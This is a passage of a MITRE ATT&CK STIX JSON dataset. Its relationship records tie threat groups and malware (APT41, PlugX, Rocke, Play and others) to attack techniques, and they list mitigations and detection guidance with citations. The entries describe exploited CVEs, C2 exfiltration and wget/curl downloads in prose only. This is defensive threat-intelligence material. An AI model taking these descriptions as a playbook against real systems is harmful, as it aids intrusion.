RDP.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7e5e5af-7ef8-43a4-88c6-8f142ee3e1c9","type":"relationship","created":"2020-11-25T19:08:39.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T19:08:39.356Z","description":"(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"tool--b52d6583-14a2-4ddc-8527-87fd2142558f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7e7718a-b0e1-48cb-a9e8-bcbd0cf25cec","type":"relationship","created":"2020-03-17T18:52:24.021Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Group123","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"}],"modified":"2020-06-23T19:36:25.179Z","description":"[APT37](https://attack.mitre.org/groups/G0067) executes shellcode and a VBA script to decode Base64 strings.(Citation: Talos Group123)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e7f27ed5-a90a-49c0-bd81-a10a98f77574","created":"2022-06-01T21:33:25.768Z","x_mitre_version":"0.1","external_references":[{"source_name":"Forcepoint BITTER Pakistan Oct 2016","url":"https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan","description":"Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BITTER](https://attack.mitre.org/groups/G1002) has used TCP for C2 communications.(Citation: Forcepoint BITTER Pakistan Oct 2016)","modified":"2022-06-01T21:33:25.768Z","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e7f2fab9-7a97-4892-9fee-fe9b98c8f0a0","created":"2023-03-26T22:04:46.624Z","revoked":false,"external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"},{"source_name":"Symantec RAINDROP January 2021","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T22:04:46.624Z","description":"(Citation: Microsoft Deep Dive Solorigate January 2021)(Citation: Symantec RAINDROP January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7f60c3a-5b9e-4175-8bac-72773f580dad","type":"relationship","created":"2020-04-28T12:47:25.920Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T12:47:25.920Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has added a registry key in the hive for persistence.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7f93370-0bfc-417c-8811-627ab39fafca","type":"relationship","created":"2020-01-23T18:30:11.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T18:38:36.346Z","description":"Consider using application control configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e7fc5a89-f5a7-432f-a885-6b9532153e7e","created":"2020-04-28T13:48:00.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"apt41_dcsocytec_dec2022","description":"DCSO CyTec Blog. (2022, December 24). APT41 — The spy who failed to encrypt me. Retrieved June 13, 2024.","url":"https://medium.com/@DCSO_CyTec/apt41-the-spy-who-failed-to-encrypt-me-24fc0f49cad1"},{"source_name":"FireEye APT41 March 2020","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html"},{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:34:21.051Z","description":"[APT41](https://attack.mitre.org/groups/G0096) exploited CVE-2020-10189 against Zoho ManageEngine Desktop Central through unsafe deserialization, and CVE-2019-19781 to compromise Citrix Application Delivery Controllers (ADC) and gateway devices.(Citation: FireEye APT41 March 2020) [APT41](https://attack.mitre.org/groups/G0096) leveraged vulnerabilities such as ProxyLogon exploitation or SQL injection for initial access.(Citation: Rostovcev APT41 2021) [APT41](https://attack.mitre.org/groups/G0096) exploited CVE-2021-26855 against a vulnerable Microsoft Exchange Server to gain initial access to the victim network.(Citation: apt41_dcsocytec_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7fd3986-ae47-4301-9299-a3f8be437d03","type":"relationship","created":"2021-11-29T19:19:45.087Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T19:19:45.087Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can manage services and processes.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8001e2b-a639-458e-98f1-816a58830562","type":"relationship","created":"2020-10-12T17:50:31.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-27T16:43:25.196Z","description":"Limit access to the root account and prevent users from creating and/or modifying systemd timer unit files. ","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8009877-1d59-4742-8d9a-61e0cda1f0b1","created":"2022-09-29T20:41:02.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T18:44:18.932Z","description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors sent spearphishing emails containing a malicious link.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e805835f-7d20-461e-9b2a-8b039f8cabc6","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor for newly executed processes for process executable paths that are named for partial directories.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8068ad2-97b3-4693-a6ad-a8ee9a272890","type":"relationship","created":"2017-05-31T21:33:27.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-06-29T15:13:05.439Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) collected the victim computer name, OS version, and architecture type and sent the information to its C2 server. [Patchwork](https://attack.mitre.org/groups/G0040) also enumerated all available drives on the victim's machine.(Citation: Cymmetria Patchwork)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8095f70-12de-4330-a293-25c4b4f22ffc","type":"relationship","created":"2020-05-26T16:17:59.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-06-11T19:52:07.567Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has executed wget and curl commands to Pastebin over the HTTPS protocol.(Citation: Anomali Rocke March 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e809f78f-344d-4169-a145-89023f4530d5","type":"relationship","created":"2021-11-22T17:05:04.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:50:42.247Z","description":"[PlugX](https://attack.mitre.org/software/S0013) can use API hashing and modify the names of strings to evade detection.(Citation: Trend Micro DRBControl February 2020)(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e80b4eeb-42cf-4017-95b3-05733a4e800c","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\\system32\\inetsrv\\config\\applicationhost.config could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft IIS Modules Overview 2007","description":"Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021.","url":"https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview"},{"source_name":"ESET IIS Malware 2021","description":"Hromcová, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021.","url":"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e80f97df-4984-4e62-bba6-1333d4c2c977","type":"relationship","created":"2020-05-05T18:47:47.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.366Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has a dynamic debugging feature to check whether it is located in the %TEMP% directory, otherwise it copies itself there.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e811f6e8-a736-4bb8-8cd9-c6edc9a7ebd8","type":"relationship","created":"2021-03-04T17:05:02.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-03-04T17:05:02.559Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) can set values in the Registry to help in execution.(Citation: Crowdstrike Indrik November 2018) ","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e814521c-211d-4db9-b637-dd13ccdfed92","created":"2023-08-17T18:00:43.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.064Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has gained initial access by compromising a victim's software supply chain.(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8148225-e246-45c4-b203-2958d0bb07da","created":"2024-09-25T14:59:02.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"},{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T18:42:00.841Z","description":"[Play](https://attack.mitre.org/groups/G1040) has exploited known vulnerabilities for initial access including CVE-2018-13379 and CVE-2020-12812 in FortiOS and CVE-2022-41082 and CVE-2022-41040 (\"ProxyNotShell\") in Microsoft Exchange.(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8164787-78fa-4a4a-89b1-8d5dbfbef592","type":"relationship","created":"2019-06-20T14:52:45.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html","source_name":"FireEye HAWKBALL Jun 2019"}],"modified":"2019-07-06T21:31:25.695Z","description":"[HAWKBALL](https://attack.mitre.org/software/S0391) has the ability to delete files.(Citation: FireEye HAWKBALL Jun 2019)\t","relationship_type":"uses","source_ref":"malware--12a7450d-b03e-4990-a5b8-b405ab9c803b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e8183fad-e62c-47f0-8aeb-4f1d7fd36444","created":"2022-06-10T12:40:59.877Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has purchased credentials and session tokens from criminal underground forums.(Citation: MSTIC DEV-0537 Mar 2022)","modified":"2022-06-10T12:40:59.877Z","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8193b28-b28a-4ab7-8390-8a5bd4d851b5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-22T19:07:31.692Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has deleted existing logs and exfiltrated file archives from a victim.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e81d7554-faad-40a2-99dd-75183efa712c","created":"2024-09-17T18:25:55.179Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T18:25:55.179Z","description":"[TA578](https://attack.mitre.org/groups/G1038) has used JavaScript files in malware execution chains.(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"intrusion-set--a5cfbc79-316c-42f2-915d-6e8fef4085f8","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e823be4b-50b9-4430-9010-e960b46bdfcc","type":"relationship","created":"2020-06-17T20:39:12.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-17T20:39:12.751Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has used a custom routine to decrypt strings.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e826208c-5738-4a75-8951-84819ed4f2b1","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor internal and websites for unplanned content changes.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e82e75df-12f9-4d95-b653-dd71a519524f","type":"relationship","created":"2020-08-10T14:45:34.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."}],"modified":"2020-08-10T14:45:34.595Z","description":"(Citation: SentinelOne Lazarus macOS July 